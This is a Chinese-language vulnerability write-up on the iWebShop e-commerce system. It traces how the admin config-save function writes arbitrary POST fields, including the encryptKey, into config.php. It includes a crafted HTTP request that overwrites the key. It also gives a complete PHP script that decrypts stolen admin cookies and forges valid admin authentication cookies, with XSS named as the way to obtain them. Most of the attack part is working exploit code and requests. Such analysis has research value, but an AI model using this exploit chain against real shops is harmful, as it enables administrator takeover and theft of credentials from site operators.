Created 星期一 26 二月 2018
2018年2月26号 状态:良好 心情:一般

程序缺陷说明流程图:

流程图

1. 问题起源:

该处问题的研究起源于后台某处配置文件写入的地方存在不合理的地方。具体地是后台写入配置文件的中的字段内容没有做任何限制导致任意字段可写入到配置,以及已存在的字段可以任意更改。下面我们具体看一下此处的代码:

0x01.代码位置:

\www\controllers\system.php 第461-474行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
	//获取输入的数据
$inputArray = $_POST; //获取整个post数据内容,直接写入到config.php文件中
if($form_index == 'system_conf')
{
//写入的配置文件
$configFile = IWeb::$app->getBasePath().'config/config.php';
Config::edit($configFile,$inputArray);
}
else
{
$siteObj = new Config('site_config');
$siteObj->write($inputArray);
}
$this->redirect('/system/conf_base/form_index/'.$form_index);
}

再跟进到config::edit()方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static function edit($configFile,$inputArray)
{
//安全过滤要写入文件的内容
foreach($inputArray as $key => $val)
{
if(!in_array($key,self::$safeKey))
{
$inputArray[$key] = IFilter::act($val,'text');
}
}

$configStr = "";

//读取配置信息内容
if(file_exists($configFile))
{
$configStr = file_get_contents($configFile);
$configArray = require($configFile);
}

if(trim($configStr)=="")
{
$configStr = "<?php return array( \r\n);?>";
$configArray = array();
}

//表单中存在但是不进行录用的键值
$except = array('form_index');

foreach($except as $value)
{
unset($inputArray[$value]);
}

$inputArray = array_merge($configArray,$inputArray);
$configData = var_export($inputArray,true);
$configStr = "<?php return {$configData}?>";

//写入配置文件
$fileObj = new IFile($configFile,'w+');
$writeResult = $fileObj->write($configStr);
return $writeResult;
}

0x02.代码分析:

这两段代码内容为获取整个post数据内容,直接写入到config.php文件中,config:edit()方法中会对用户数据输入做一定程度上的过滤,之后合并用户数据和config文件中的字段内容,之后再写入到config配置文件中。

0x03.缺陷利用

构造请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?controller=system&action=save_conf&form_index=system_conf HTTP/1.1
Host: 192.168.99.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.99.140/index.php?controller=system&action=conf_base&form_index=base_conf
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Cookie: UIA=-w-4%5D2612%5E1%5D5%2C%2A3_31b%2A1%29b24--%5D%2F%5D434%5D1a34%2A%5D.3%2B%2F0%2A54161-1%5B4bc%5Dc12%5B3_2; Hm_lvt_03464ad6586b89ef20d9728f1b74324c=1516014123; PHPSESSID=fqdaij2c41g8ampnlm5mben4l7; iweb_step=521e028e53ec01782cVAcGBQBSBAcEBgEFAAQFUgMAVl0DUFtQUQxUAAdVWglUAgABUgpRBFtS; iweb_captcha=cca384c84aa00950f8VgJTBwlSBgAHBVRWBwQCAlUNAlUEClFVB1AHVQwCXQhFEhcCVQ; iweb_admin_role_name=1fca4d7a9fb274fc6aB1ECCVNVBAUJCFUOAwIGU1UHU1ZQBlUGUVNQUlgGX1qKgeaE25GBl5nT8rKD8q0; iweb_admin_id=49f213a97d46a4b790VQlRUgRWU1EBBg8ABVJTV1AADVAABgEABlFXAFcCVgBU; iweb_admin_name=dcc3840d7bdac05c82AVMDBlMDVVQDAgwBVAQNBAZWC1RSVlNUAldTVlQAAARTVgtRXg; iweb_admin_pwd=a48971fad42767bf31VANWBlVWBAcDBQIHBwMGDFADVAEJAlEAUQdaU1EMWA1XBlZQXggCVFUJVAwFVgILCVpUAlxTX1QGDFELDVVZAw; iweb_admin_right=2f45837ffdb94a71b5BgNTUQADCVQBUQABUQ4EAgJQXAIEVVsDAlcBDFdUAVGJgeCC25DWyJSCo76H8qw
Connection: close
Upgrade-Insecure-Requests: 1

safe=cookie&uploadSize=10&lang=zh_sc&debug=0&rewriteRule=url&authorizeCode=&encryptKey=098f6bcd4621d373cade4e832627b4f6&upload=upload/1.php&testforfun=test for fun..

查看修改后的配置文件,可看到数据请求中的字段已被修改成功:
config.php
testforfun字段为配置文件中不存在的字段,而encryptKey字段则是action=save_conf功能下所不能修改的字段。

2.问题详述

在之前的叙述中我们知道,管理员后台修改系统配置的功能存在缺陷,导致可修改及写入任意字段的数据内容。这里特别说明encryptKey字段,该字段是管理员认证体系中的加密与解密的密钥,只要能修改到该字段,则攻击者便可通过XSS跨站脚本等攻击方式拿到有效期限内管理员认证的COOkie信息,则就可以通过该密钥得到管理的登录信息,之后便可采用加密方式生成有效时限内,管理员认证的会话信息,无限制的控制管理员后台了。所以说该字段极为重要。另外值得说明的一点是,iwebshop系统的默认管理员认证方式是采用自建的cookie认证字段(Cookie方式),session认证方式同样支持,但不是默认安装。

0x01.管理员认证体系说明:

在使用管理员后台功能时,程序逻辑首先会检测用户身份信息。代码逻辑是先从cookie中获取加密字段,通过解密得到管理员的用户名,MD5密码,用户id,用户角色等信息,然后再拿用户名和md5密码到数据库中检测匹配(管理员每一步的操作都需要一次入库查询,这里大概是会影响系统体验吧)

0x02.管理员认证关键代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* @brief 获取通用的管理员数组
* @return array or null管理员数据
*/
public static function getAdmin()
{
$admin = array(
'admin_name' => ISafe::get('admin_name'),
'admin_pwd' => ISafe::get('admin_pwd'),
'admin_role_name' => ISafe::get('admin_role_name'),
);

if($adminRow = self::isValidAdmin($admin['admin_name'],$admin['admin_pwd']))
{
$admin['admin_id'] = $adminRow['id'];
$admin['role_id'] = $adminRow['role_id'];
return $admin;
}
return null;
}

代码比较简单,大致是获取管理员的name,pwd,role_name,然后再使用isValidAdmin函数加以认证。这里需要跟进到
ISafe::get()方法中,看是如何获取这些字段的。

1
2
3
4
5
6
7
8
9
10
11
/**
* @brief 获取数据
* @param string $key 要获取数据的键名
* @param string $type 安全方式:cookie or session;
* @return mixed 键名为$key的值;
*/
public static function get($key,$type = '')
{
$className = self::getSafeClass($type);
return call_user_func(array($className, 'get'),$key);
}

继续跟进self::getSafeClass($type):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* @brief 获取cookie或者session对象
* @param string $type 安全方式:cookie or session;
* @return object cookie或者session操作对象
*/
public static function getSafeClass($type = '')
{
$mappingConf = array('cookie'=>'ICookie','session'=>'ISession');
if($type != '' && isset($mappingConf[$type]))
{
return $mappingConf[$type];
}
else if(isset(IWeb::$app->config['safe']) && IWeb::$app->config['safe'] == 'session')
{
return $mappingConf['session'];
}
else
{
return $mappingConf['cookie'];
}
}

代码逻辑是获取配置文件中safe字段内容,配置文件中默认设置的cookie,最后返回的是ICookie对象,于是我们跟进到该对象中:
代码位置:\WWW\lib\core\util\cookie_class.php 第65-79行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function get($name)
{
self::$pre = self::getPre();
if(isset($_COOKIE[self::$pre.$name]))
{
$cookie = ICrypt::decode($_COOKIE[self::$pre.$name],self::getKey());
$tem = substr($cookie,0,10);
if(preg_match('/^[Oa]:\d+:.*/',$tem))
{
return unserialize($cookie);
}
return $cookie;
}
return null;
}

可以看到,这里获取Cookie中的字段,通过ICrypt::decode()方法解密获取得到管理员登录口令的信息,于是跟进到该解密算法中:
代码位置:\WWW\lib\core\util\crypt_class.php 第56-121行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/**
* @brief 动态解密函数
* @param String $string 字符串
* @param String $key 解密私钥
* @param Int $expiry 保留时间,默认为0,即为不限制
* @return String $str 解密后的字符串
*/
public static function decode($string, $key='', $expiry=0)
{
return self::code($string,'decode', $key, $expiry);
}

/**
* @brief 动态解密函数
* @param String $string 字符串
* @param String $key 加密私钥
* @param Int $expiry 保留时间,默认为0,即为不限制
* @return $string String 加密后的字符串
*/
public static function encode($string, $key='', $expiry=0)
{
return self::code($string,'encode', $key, $expiry);
}
/**
* @brief 加密解密算法
* @param String $string 要处理的字符串
* @param String $op 处理方式,加密或者解密,默认为decode即为解密
* @param Int $expiry 保留时间,默认为0即为不限制
* @return String $string 处理后的字符串
*/
private static function code($string, $op="decode", $key='', $expiry=0)
{
$op=strtolower($op);
$key_length=18;
$key=md5($key?$key:"aircheng");
//生成256长度的密码
$key_1=md5(substr($key,0,4));
$key_2=md5(substr($key,4,4));
$key_3=md5(substr($key,8,4));
$key_4=md5(substr($key,12,4));
$key_5=md5(substr($key,16,4));
$key_6=md5(substr($key,20,4));
$key_7=md5(substr($key,24,4));
$key_8=md5(substr($key,28,4));
$key_e= $key_length ? ($op == 'decode' ? substr($string, 0, $key_length): substr(md5(microtime()), -$key_length)) : '';
$cryptkey = md5($key_1|$key_e).md5($key_3|$key_e).md5($key_5|$key_e).md5($key_7|$key_e).md5($key_8|$key_e).md5($key_6|$key_e).md5($key_4|$key_e).md5($key_2|$key_e);
$cryptkey_length = strlen($cryptkey);
$string = $op == 'decode' ? self::base64decode(substr($string, $key_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$key_5), 0, 22).$string;
$string_length = strlen($string);
$result="";
//通过循环的方式异或的方式加密,异或方式是加密中常用的一种处理方式
for($i = 0; $i < $string_length; $i++)
{
$ordVal = ord($string[$i]) ^ ord($cryptkey[$i % 256]);
$result.= chr($ordVal);
}
//解码部分
if($op == 'decode')
{
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 22) == substr(md5(substr($result, 32).$key_5), 0, 22))
{
return substr($result, 32);
}
else
{
return '';
}
}
else
{
return $key_e.str_replace('=', '', self::base64encode($result));
}
}

算法的具体实现我这里就不说明了,了解了一下,该加密算法是一种可逆的运算,采用的主要方式是循环异或。
这里我们还需要跟进到self::getKey()这个方法中具体看是怎么获取这个密钥的:
代码位置:\WWW\lib\core\util\cookie_class.php 第106-124行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* @brief 取得密钥
* @return string 返回密钥值
*/
private static function getKey()
{
$encryptKey = isset(IWeb::$app->config['encryptKey']) ? IWeb::$app->config['encryptKey'] : self::$defaultKey;
$encryptKey .= self::cookieId();
return $encryptKey;
}

/**
* @brief 取得cookie的安全码
* @return String cookie的安全码
*/
private static function cookieId()
{
return md5(filemtime(__FILE__));
}

该段代码逻辑为获取配置文件中的encryptKey字段,并串接md5(filemtime(FILE)),其中FILE为该代码文件的详细物理地址,所以获取该web系统的物理地址也是该系统缺陷利用的必要条件之一。

3.缺陷利用与分析:

于是下面我编写了一个脚本,可破解获取得到的Cookie会话信息中的加密串,得到管理员的明文登录信息。同时可伪造管理员认证的加密串,获得管理员的操作权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

/**
* @brief 动态解密函数
* @param String $string 字符串
* @param String $key 解密私钥
* @param Int $expiry 保留时间,默认为0,即为不限制
* @return String $str 解密后的字符串
*/
function decode($string, $key='', $expiry=0)
{
return code($string,'decode', $key, $expiry);
}

/**
* @brief 动态解密函数
* @param String $string 字符串
* @param String $key 加密私钥
* @param Int $expiry 保留时间,默认为0,即为不限制
* @return $string String 加密后的字符串
*/
function encode($string, $key='', $expiry=0)
{
return code($string,'encode', $key, $expiry);
}
/**
* @brief 加密解密算法
* @param String $string 要处理的字符串
* @param String $op 处理方式,加密或者解密,默认为decode即为解密
* @param Int $expiry 保留时间,默认为0即为不限制
* @return String $string 处理后的字符串
*/
function code($string, $op="decode", $key='', $expiry=0)
{
$op=strtolower($op);
$key_length=18;
$key=md5($key?$key:"aircheng");
//生成256长度的密码
$key_1=md5(substr($key,0,4));
$key_2=md5(substr($key,4,4));
$key_3=md5(substr($key,8,4));
$key_4=md5(substr($key,12,4));
$key_5=md5(substr($key,16,4));
$key_6=md5(substr($key,20,4));
$key_7=md5(substr($key,24,4));
$key_8=md5(substr($key,28,4));
$key_e= $key_length ? ($op == 'decode' ? substr($string, 0, $key_length): substr(md5(microtime()), -$key_length)) : '';
$cryptkey = md5($key_1|$key_e).md5($key_3|$key_e).md5($key_5|$key_e).md5($key_7|$key_e).md5($key_8|$key_e).md5($key_6|$key_e).md5($key_4|$key_e).md5($key_2|$key_e);
$cryptkey_length = strlen($cryptkey);
$string = $op == 'decode' ? base64_decode(substr($string, $key_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$key_5), 0, 22).$string;
$string_length = strlen($string);
$result="";
//通过循环的方式异或的方式加密,异或方式是加密中常用的一种处理方式
for($i = 0; $i < $string_length; $i++)
{
$ordVal = ord($string[$i]) ^ ord($cryptkey[$i % 256]);
$result.= chr($ordVal);
}
//echo '<br>key_5:'.$key_5.'</br>';
//echo '<br>result:'.$result.'</br>';
//解码部分
if($op == 'decode')
{
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 22) == substr(md5(substr($result, 32).$key_5), 0, 22))
{
return substr($result, 32);
}
else
{
return '';
}
}
else
{
return $key_e.str_replace('=', '', base64_encode($result));
}
}

$key = '098f6bcd4621d373cade4e832627b4f6'.md5(filemtime('F:\phpStudy\PHPTutorial\WWW\lib\core\util\cookie_class.php'));//获取密钥;
echo '<br>encryptKey:'.$key.'</br>';
$string = '096ef4bf9a11073649B1RWCFYCA1MABV0BVg8FUVBWUAgBBwELBFNVAwRQAABVAAtfVw';
$enstr = 'admin';
$enstr1 = 'ebcbf97ec1d80c0388d39bf508039baa';
$enstr2 = '超级管理员';
$encookie = 'test';
$encookie = encode($enstr, $key);
$encookie1 = encode($enstr1, $key);
$encookie2 = encode($enstr2, $key);
$cookie = decode($string, $key);

if ($cookie === ''){
$theKey = 'nokey';
}
else{
$theKey = $cookie;
}
echo '<br>the encode username:'.$encookie.'</br>';
echo '<br>the encode userpass:'.$encookie1.'</br>';
echo '<br>the encode userrole:'.$encookie2.'</br>';
echo '<br>the key:'.$theKey.'</br>';

?>

该脚本把web系统的加密解密代码段单独拿出来,通过密钥获取解密后的数据内容,以及得到加密后的管理员认证会话信息:
0x01.利用演示:
获取到管理员的cookie会话信息后(可通过XSS漏洞攻击等方式),可以通过解密得到管理员明文登录信息:
decode
得到解密后的管理员明文数据后,再通过加密步骤得到管理员认证的加密串,之后便可以任意控制管理员后台:
key
把生成的该加密串,作为管理员功能访问的cookie会话信息,则可以使用管理员的系统功能: